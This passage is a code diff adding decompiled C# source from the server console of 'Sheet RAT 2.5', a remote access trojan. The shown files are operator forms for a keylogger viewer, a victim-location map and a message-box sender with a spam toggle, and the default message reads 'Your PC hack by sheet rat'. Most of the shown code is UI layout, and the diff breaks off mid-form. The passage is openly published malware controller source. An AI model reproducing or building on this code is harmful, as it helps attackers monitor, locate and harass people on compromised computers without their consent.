|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
@@ -0,0 +1,103 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Forms.FormKeyLogger
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using MetroFramework;
|
||||
using MetroFramework.Forms;
|
||||
using Server.Connection;
|
||||
using Server.Helper.Configs.Themes;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Forms {
|
||||
|
||||
public class FormKeyLogger : MetroForm
|
||||
{
|
||||
public Clients ParrentClient;
|
||||
public Clients PluginClient;
|
||||
private IContainer components;
|
||||
public Timer timer1;
|
||||
public RichTextBox metroTextBox1;
|
||||
|
||||
public FormKeyLogger() => this.InitializeComponent();
|
||||
|
||||
private void FormShell_Load(object sender, EventArgs e)
|
||||
{
|
||||
if (Customs.customs.Theme != MetroThemeStyle.Dark || Customs.customs.Style != MetroColorStyle.Lime)
|
||||
{
|
||||
if (Customs.customs.Theme != MetroThemeStyle.Dark)
|
||||
{
|
||||
this.Theme = Customs.customs.Theme;
|
||||
this.metroTextBox1.BackColor = Customs.customs.ThemeToColor();
|
||||
}
|
||||
if (Customs.customs.Style != MetroColorStyle.Lime)
|
||||
{
|
||||
this.Style = Customs.customs.Style;
|
||||
this.metroTextBox1.ForeColor = Customs.customs.StyleToColor();
|
||||
}
|
||||
this.Refresh();
|
||||
}
|
||||
this.FormClosing += (FormClosingEventHandler) ((t, p) =>
|
||||
{
|
||||
if (this.PluginClient == null)
|
||||
return;
|
||||
this.PluginClient.Disconnected();
|
||||
});
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.ParrentClient.Connect && this.PluginClient.Connect)
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormKeyLogger));
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.metroTextBox1 = new RichTextBox();
|
||||
this.SuspendLayout();
|
||||
this.timer1.Interval = 1000;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.metroTextBox1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right;
|
||||
this.metroTextBox1.BackColor = Color.FromArgb(17, 17, 17);
|
||||
this.metroTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
|
||||
this.metroTextBox1.Font = new Font("Arial", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204);
|
||||
this.metroTextBox1.ForeColor = Color.FromArgb(224 /*0xE0*/, 224 /*0xE0*/, 224 /*0xE0*/);
|
||||
this.metroTextBox1.Location = new Point(12, 63 /*0x3F*/);
|
||||
this.metroTextBox1.Name = "metroTextBox1";
|
||||
this.metroTextBox1.ReadOnly = true;
|
||||
this.metroTextBox1.ScrollBars = RichTextBoxScrollBars.Vertical;
|
||||
this.metroTextBox1.Size = new Size(591, 407);
|
||||
this.metroTextBox1.TabIndex = 2;
|
||||
this.metroTextBox1.Text = "";
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(617, 493);
|
||||
this.Controls.Add((Control) this.metroTextBox1);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = nameof (FormKeyLogger);
|
||||
this.Style = MetroColorStyle.Lime;
|
||||
this.Text = "KeyLogger";
|
||||
this.TextAlign = MetroFormTextAlign.Center;
|
||||
this.Theme = MetroThemeStyle.Dark;
|
||||
this.Load += new EventHandler(this.FormShell_Load);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,104 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Forms.FormMap
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using GMap.NET;
|
||||
using GMap.NET.MapProviders;
|
||||
using GMap.NET.WindowsForms;
|
||||
using MetroFramework;
|
||||
using MetroFramework.Forms;
|
||||
using Server.Connection;
|
||||
using Server.Helper.Configs.Themes;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Forms {
|
||||
|
||||
public class FormMap : MetroForm
|
||||
{
|
||||
public Clients ParrentClient;
|
||||
private IContainer components;
|
||||
public Timer timer1;
|
||||
public GMapControl gMapControl1;
|
||||
|
||||
public FormMap() => this.InitializeComponent();
|
||||
|
||||
private void FormShell_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.gMapControl1.DragButton = MouseButtons.Left;
|
||||
this.gMapControl1.MapProvider = (GMapProvider) GMapProviders.GoogleMap;
|
||||
if (Customs.customs.Theme != MetroThemeStyle.Dark)
|
||||
this.Theme = Customs.customs.Theme;
|
||||
if (Customs.customs.Style == MetroColorStyle.Lime)
|
||||
return;
|
||||
this.Style = Customs.customs.Style;
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.ParrentClient.Connect)
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormMap));
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.gMapControl1 = new GMapControl();
|
||||
this.SuspendLayout();
|
||||
this.timer1.Interval = 1000;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.gMapControl1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right;
|
||||
this.gMapControl1.Bearing = 0.0f;
|
||||
this.gMapControl1.CanDragMap = true;
|
||||
this.gMapControl1.EmptyTileColor = Color.FromArgb(17, 17, 17);
|
||||
this.gMapControl1.GrayScaleMode = false;
|
||||
this.gMapControl1.HelperLineOption = HelperLineOptions.DontShow;
|
||||
this.gMapControl1.LevelsKeepInMemmory = 5;
|
||||
this.gMapControl1.Location = new Point(23, 63 /*0x3F*/);
|
||||
this.gMapControl1.MarkersEnabled = true;
|
||||
this.gMapControl1.MaxZoom = 15;
|
||||
this.gMapControl1.MinZoom = 5;
|
||||
this.gMapControl1.MouseWheelZoomEnabled = true;
|
||||
this.gMapControl1.MouseWheelZoomType = MouseWheelZoomType.MousePositionAndCenter;
|
||||
this.gMapControl1.Name = "gMapControl1";
|
||||
this.gMapControl1.NegativeMode = true;
|
||||
this.gMapControl1.PolygonsEnabled = true;
|
||||
this.gMapControl1.RetryLoadTile = 0;
|
||||
this.gMapControl1.RoutesEnabled = true;
|
||||
this.gMapControl1.ScaleMode = ScaleModes.Integer;
|
||||
this.gMapControl1.SelectedAreaFillColor = Color.FromArgb(33, 65, 105, 225);
|
||||
this.gMapControl1.ShowTileGridLines = false;
|
||||
this.gMapControl1.Size = new Size(943, 456);
|
||||
this.gMapControl1.TabIndex = 0;
|
||||
this.gMapControl1.Zoom = 15.0;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(989, 542);
|
||||
this.Controls.Add((Control) this.gMapControl1);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = nameof (FormMap);
|
||||
this.Style = MetroColorStyle.Lime;
|
||||
this.Text = "Map";
|
||||
this.TextAlign = MetroFormTextAlign.Center;
|
||||
this.Theme = MetroThemeStyle.Dark;
|
||||
this.Load += new EventHandler(this.FormShell_Load);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,595 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Forms.FormMessage
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using MetroFramework;
|
||||
using MetroFramework.Controls;
|
||||
using MetroFramework.Forms;
|
||||
using Server.Connection;
|
||||
using Server.Helper.Configs.Themes;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Forms {
|
||||
|
||||
public class FormMessage : MetroForm
|
||||
{
|
||||
public Clients Parrent;
|
||||
public Clients Plugin;
|
||||
private IContainer components;
|
||||
public MetroComboBox MessageBox_Icon;
|
||||
private MetroLabel metroLabel1;
|
||||
private Panel panel1;
|
||||
public MetroComboBox MessageBox_Button;
|
||||
private MetroLabel metroLabel2;
|
||||
private MetroLabel metroLabel3;
|
||||
private MetroTextBox MessageBox_Handle;
|
||||
private MetroLabel metroLabel4;
|
||||
private MetroLabel metroLabel5;
|
||||
private MetroTextBox MessageBox_Message;
|
||||
private MetroLabel metroLabel6;
|
||||
private MetroToggle MessageBox_Spam;
|
||||
private MetroButton MessageBox_Send;
|
||||
private Panel panel2;
|
||||
private MetroLabel metroLabel7;
|
||||
private MetroToggle metroToggle1;
|
||||
private MetroButton metroButton1;
|
||||
private MetroLabel metroLabel8;
|
||||
private MetroTextBox metroTextBox1;
|
||||
private MetroLabel metroLabel9;
|
||||
private MetroTextBox metroTextBox2;
|
||||
private MetroLabel metroLabel10;
|
||||
private MetroLabel metroLabel11;
|
||||
private MetroLabel metroLabel12;
|
||||
public MetroComboBox metroComboBox1;
|
||||
public MetroComboBox metroComboBox2;
|
||||
public MetroLabel MessageBox_Return;
|
||||
public Timer timer1;
|
||||
|
||||
public FormMessage() => this.InitializeComponent();
|
||||
|
||||
private void FormMessageBox_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.FormClosing += (FormClosingEventHandler) ((t, p) =>
|
||||
{
|
||||
if (this.Plugin == null)
|
||||
return;
|
||||
this.Plugin.Disconnected();
|
||||
});
|
||||
if (Customs.customs.Theme != MetroThemeStyle.Dark)
|
||||
{
|
||||
this.Theme = Customs.customs.Theme;
|
||||
this.metroLabel1.Theme = Customs.customs.Theme;
|
||||
this.metroLabel2.Theme = Customs.customs.Theme;
|
||||
this.metroLabel3.Theme = Customs.customs.Theme;
|
||||
this.metroLabel4.Theme = Customs.customs.Theme;
|
||||
this.metroLabel5.Theme = Customs.customs.Theme;
|
||||
this.metroLabel6.Theme = Customs.customs.Theme;
|
||||
this.metroLabel7.Theme = Customs.customs.Theme;
|
||||
this.metroLabel8.Theme = Customs.customs.Theme;
|
||||
this.metroLabel9.Theme = Customs.customs.Theme;
|
||||
this.metroLabel10.Theme = Customs.customs.Theme;
|
||||
this.metroLabel11.Theme = Customs.customs.Theme;
|
||||
this.metroLabel12.Theme = Customs.customs.Theme;
|
||||
this.MessageBox_Button.Theme = Customs.customs.Theme;
|
||||
this.MessageBox_Send.Theme = Customs.customs.Theme;
|
||||
this.MessageBox_Handle.Theme = Customs.customs.Theme;
|
||||
this.MessageBox_Message.Theme = Customs.customs.Theme;
|
||||
this.MessageBox_Icon.Theme = Customs.customs.Theme;
|
||||
this.MessageBox_Spam.Theme = Customs.customs.Theme;
|
||||
this.MessageBox_Return.Theme = Customs.customs.Theme;
|
||||
this.panel1.BackColor = Customs.customs.ThemeToColor();
|
||||
}
|
||||
if (Customs.customs.Style == MetroColorStyle.Lime)
|
||||
return;
|
||||
this.Style = Customs.customs.Style;
|
||||
this.metroLabel1.Style = Customs.customs.Style;
|
||||
this.metroLabel2.Style = Customs.customs.Style;
|
||||
this.metroLabel3.Style = Customs.customs.Style;
|
||||
this.metroLabel4.Style = Customs.customs.Style;
|
||||
this.metroLabel5.Style = Customs.customs.Style;
|
||||
this.metroLabel6.Style = Customs.customs.Style;
|
||||
this.metroLabel7.Style = Customs.customs.Style;
|
||||
this.metroLabel8.Style = Customs.customs.Style;
|
||||
this.metroLabel9.Style = Customs.customs.Style;
|
||||
this.metroLabel10.Style = Customs.customs.Style;
|
||||
this.metroLabel11.Style = Customs.customs.Style;
|
||||
this.metroLabel12.Style = Customs.customs.Style;
|
||||
this.MessageBox_Button.Style = Customs.customs.Style;
|
||||
this.MessageBox_Handle.Style = Customs.customs.Style;
|
||||
this.MessageBox_Message.Style = Customs.customs.Style;
|
||||
this.MessageBox_Spam.Style = Customs.customs.Style;
|
||||
this.MessageBox_Icon.Style = Customs.customs.Style;
|
||||
this.MessageBox_Send.Style = Customs.customs.Style;
|
||||
this.MessageBox_Return.Style = Customs.customs.Style;
|
||||
}
|
||||
|
||||
private void MessageBox_Send_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Plugin == null)
|
||||
return;
|
||||
this.Plugin.Send((object) $"MessageBox<@>{this.MessageBox_Message.Text}<@>{this.MessageBox_Handle.Text}<@>{this.MessageBox_Button.SelectedIndex.ToString()}<@>{(this.MessageBox_Icon.SelectedIndex * 16 /*0x10*/).ToString()}");
|
||||
}
|
||||
|
||||
private void MessageBox_Spam_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Plugin == null)
|
||||
this.MessageBox_Spam.Checked = false;
|
||||
if (this.MessageBox_Spam.Checked)
|
||||
{
|
||||
Clients plugin = this.Plugin;
|
||||
string[] strArray = new string[8]
|
||||
{
|
||||
"MessageBoxSpammer+<@>",
|
||||
this.MessageBox_Message.Text,
|
||||
"<@>",
|
||||
this.MessageBox_Handle.Text,
|
||||
"<@>",
|
||||
null,
|
||||
null,
|
||||
null
|
||||
};
|
||||
int num = this.MessageBox_Button.SelectedIndex;
|
||||
strArray[5] = num.ToString();
|
||||
strArray[6] = "<@>";
|
||||
num = this.MessageBox_Icon.SelectedIndex * 16 /*0x10*/;
|
||||
strArray[7] = num.ToString();
|
||||
string message = string.Concat(strArray);
|
||||
plugin.Send((object) message);
|
||||
}
|
||||
else
|
||||
this.Plugin.Send((object) "MessageBoxSpammer-");
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Plugin.Connect && this.Parrent.Connect)
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormMessage));
|
||||
this.MessageBox_Icon = new MetroComboBox();
|
||||
this.metroLabel1 = new MetroLabel();
|
||||
this.panel1 = new Panel();
|
||||
this.MessageBox_Return = new MetroLabel();
|
||||
this.metroLabel6 = new MetroLabel();
|
||||
this.MessageBox_Spam = new MetroToggle();
|
||||
this.MessageBox_Send = new MetroButton();
|
||||
this.metroLabel5 = new MetroLabel();
|
||||
this.MessageBox_Message = new MetroTextBox();
|
||||
this.metroLabel4 = new MetroLabel();
|
||||
this.MessageBox_Handle = new MetroTextBox();
|
||||
this.metroLabel3 = new MetroLabel();
|
||||
this.metroLabel2 = new MetroLabel();
|
||||
this.MessageBox_Button = new MetroComboBox();
|
||||
this.panel2 = new Panel();
|
||||
this.metroLabel7 = new MetroLabel();
|
||||
this.metroToggle1 = new MetroToggle();
|
||||
this.metroButton1 = new MetroButton();
|
||||
this.metroLabel8 = new MetroLabel();
|
||||
this.metroTextBox1 = new MetroTextBox();
|
||||
this.metroLabel9 = new MetroLabel();
|
||||
this.metroTextBox2 = new MetroTextBox();
|
||||
this.metroLabel10 = new MetroLabel();
|
||||
this.metroLabel11 = new MetroLabel();
|
||||
this.metroLabel12 = new MetroLabel();
|
||||
this.metroComboBox1 = new MetroComboBox();
|
||||
this.metroComboBox2 = new MetroComboBox();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.panel1.SuspendLayout();
|
||||
this.panel2.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.MessageBox_Icon.FontSize = MetroComboBoxSize.Small;
|
||||
this.MessageBox_Icon.FormattingEnabled = true;
|
||||
this.MessageBox_Icon.ItemHeight = 19;
|
||||
this.MessageBox_Icon.Items.AddRange(new object[5]
|
||||
{
|
||||
(object) "None",
|
||||
(object) "Error",
|
||||
(object) "Question",
|
||||
(object) "Warning",
|
||||
(object) "Information"
|
||||
});
|
||||
this.MessageBox_Icon.Location = new Point(66, 81);
|
||||
this.MessageBox_Icon.Margin = new Padding(2);
|
||||
this.MessageBox_Icon.Name = "MessageBox_Icon";
|
||||
this.MessageBox_Icon.Size = new Size(236, 25);
|
||||
this.MessageBox_Icon.Style = MetroColorStyle.Lime;
|
||||
this.MessageBox_Icon.TabIndex = 37;
|
||||
this.MessageBox_Icon.Theme = MetroThemeStyle.Dark;
|
||||
this.MessageBox_Icon.UseSelectable = true;
|
||||
this.MessageBox_Icon.UseStyleColors = true;
|
||||
this.metroLabel1.AutoSize = true;
|
||||
this.metroLabel1.Location = new Point(3, 5);
|
||||
this.metroLabel1.Name = "metroLabel1";
|
||||
this.metroLabel1.Size = new Size(82, 19);
|
||||
this.metroLabel1.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel1.TabIndex = 38;
|
||||
this.metroLabel1.Text = "MessageBox";
|
||||
this.metroLabel1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel1.UseStyleColors = true;
|
||||
this.panel1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
|
||||
this.panel1.Controls.Add((Control) this.MessageBox_Return);
|
||||
this.panel1.Controls.Add((Control) this.metroLabel6);
|
||||
this.panel1.Controls.Add((Control) this.MessageBox_Spam);
|
||||
this.panel1.Controls.Add((Control) this.MessageBox_Send);
|
||||
this.panel1.Controls.Add((Control) this.metroLabel5);
|
||||
this.panel1.Controls.Add((Control) this.MessageBox_Message);
|
||||
this.panel1.Controls.Add((Control) this.metroLabel4);
|
||||
this.panel1.Controls.Add((Control) this.MessageBox_Handle);
|
||||
this.panel1.Controls.Add((Control) this.metroLabel3);
|
||||
this.panel1.Controls.Add((Control) this.metroLabel2);
|
||||
this.panel1.Controls.Add((Control) this.metroLabel1);
|
||||
this.panel1.Controls.Add((Control) this.MessageBox_Icon);
|
||||
this.panel1.Controls.Add((Control) this.MessageBox_Button);
|
||||
this.panel1.Location = new Point(23, 87);
|
||||
this.panel1.Name = "panel1";
|
||||
this.panel1.Size = new Size(416, 260);
|
||||
this.panel1.TabIndex = 39;
|
||||
this.MessageBox_Return.AutoSize = true;
|
||||
this.MessageBox_Return.Location = new Point(237, 5);
|
||||
this.MessageBox_Return.Name = "MessageBox_Return";
|
||||
this.MessageBox_Return.Size = new Size(86, 19);
|
||||
this.MessageBox_Return.Style = MetroColorStyle.Lime;
|
||||
this.MessageBox_Return.TabIndex = 48 /*0x30*/;
|
||||
this.MessageBox_Return.Text = "Return: None";
|
||||
this.MessageBox_Return.Theme = MetroThemeStyle.Dark;
|
||||
this.MessageBox_Return.UseStyleColors = true;
|
||||
this.metroLabel6.AutoSize = true;
|
||||
this.metroLabel6.Location = new Point(313, 183);
|
||||
this.metroLabel6.Name = "metroLabel6";
|
||||
this.metroLabel6.Size = new Size(43, 19);
|
||||
this.metroLabel6.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel6.TabIndex = 47;
|
||||
this.metroLabel6.Text = "Spam";
|
||||
this.metroLabel6.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel6.UseStyleColors = true;
|
||||
this.MessageBox_Spam.AutoSize = true;
|
||||
this.MessageBox_Spam.Location = new Point(313, 216);
|
||||
this.MessageBox_Spam.Name = "MessageBox_Spam";
|
||||
this.MessageBox_Spam.Size = new Size(80 /*0x50*/, 17);
|
||||
this.MessageBox_Spam.Style = MetroColorStyle.Lime;
|
||||
this.MessageBox_Spam.TabIndex = 46;
|
||||
this.MessageBox_Spam.Text = "Off";
|
||||
this.MessageBox_Spam.Theme = MetroThemeStyle.Dark;
|
||||
this.MessageBox_Spam.UseSelectable = true;
|
||||
this.MessageBox_Spam.UseStyleColors = true;
|
||||
this.MessageBox_Spam.CheckedChanged += new EventHandler(this.MessageBox_Spam_CheckedChanged);
|
||||
this.MessageBox_Send.Location = new Point(66, 210);
|
||||
this.MessageBox_Send.Name = "MessageBox_Send";
|
||||
this.MessageBox_Send.Size = new Size(105, 23);
|
||||
this.MessageBox_Send.Style = MetroColorStyle.Lime;
|
||||
this.MessageBox_Send.TabIndex = 45;
|
||||
this.MessageBox_Send.Text = "Send";
|
||||
this.MessageBox_Send.Theme = MetroThemeStyle.Dark;
|
||||
this.MessageBox_Send.UseSelectable = true;
|
||||
this.MessageBox_Send.UseStyleColors = true;
|
||||
this.MessageBox_Send.Click += new EventHandler(this.MessageBox_Send_Click);
|
||||
this.metroLabel5.AutoSize = true;
|
||||
this.metroLabel5.Location = new Point(3, 169);
|
||||
this.metroLabel5.Name = "metroLabel5";
|
||||
this.metroLabel5.Size = new Size(60, 19);
|
||||
this.metroLabel5.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel5.TabIndex = 44;
|
||||
this.metroLabel5.Text = "Message";
|
||||
this.metroLabel5.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel5.UseStyleColors = true;
|
||||
this.MessageBox_Message.CustomButton.Image = (Image) null;
|
||||
this.MessageBox_Message.CustomButton.Location = new Point(214, 1);
|
||||
this.MessageBox_Message.CustomButton.Name = "";
|
||||
this.MessageBox_Message.CustomButton.Size = new Size(21, 21);
|
||||
this.MessageBox_Message.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.MessageBox_Message.CustomButton.TabIndex = 1;
|
||||
this.MessageBox_Message.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.MessageBox_Message.CustomButton.UseSelectable = true;
|
||||
this.MessageBox_Message.CustomButton.Visible = false;
|
||||
this.MessageBox_Message.Lines = new string[1]
|
||||
{
|
||||
"Your PC hack by sheet rat"
|
||||
};
|
||||
this.MessageBox_Message.Location = new Point(66, 165);
|
||||
this.MessageBox_Message.MaxLength = (int) short.MaxValue;
|
||||
this.MessageBox_Message.Name = "MessageBox_Message";
|
||||
this.MessageBox_Message.PasswordChar = char.MinValue;
|
||||
this.MessageBox_Message.ScrollBars = ScrollBars.None;
|
||||
this.MessageBox_Message.SelectedText = "";
|
||||
this.MessageBox_Message.SelectionLength = 0;
|
||||
this.MessageBox_Message.SelectionStart = 0;
|
||||
this.MessageBox_Message.ShortcutsEnabled = true;
|
||||
this.MessageBox_Message.Size = new Size(236, 23);
|
||||
this.MessageBox_Message.Style = MetroColorStyle.Lime;
|
||||
this.MessageBox_Message.TabIndex = 43;
|
||||
this.MessageBox_Message.Text = "Your PC hack by sheet rat";
|
||||
this.MessageBox_Message.Theme = MetroThemeStyle.Dark;
|
||||
this.MessageBox_Message.UseSelectable = true;
|
||||
this.MessageBox_Message.UseStyleColors = true;
|
||||
this.MessageBox_Message.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.MessageBox_Message.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.metroLabel4.AutoSize = true;
|
||||
this.metroLabel4.Location = new Point(3, 130);
|
||||
this.metroLabel4.Name = "metroLabel4";
|
||||
this.metroLabel4.Size = new Size(50, 19);
|
||||
this.metroLabel4.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel4.TabIndex = 42;
|
||||
this.metroLabel4.Text = "Handle";
|
||||
this.metroLabel4.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel4.UseStyleColors = true;
|
||||
this.MessageBox_Handle.CustomButton.Image = (Image) null;
|
||||
this.MessageBox_Handle.CustomButton.Location = new Point(214, 1);
|
||||
this.MessageBox_Handle.CustomButton.Name = "";
|
||||
this.MessageBox_Handle.CustomButton.Size = new Size(21, 21);
|
||||
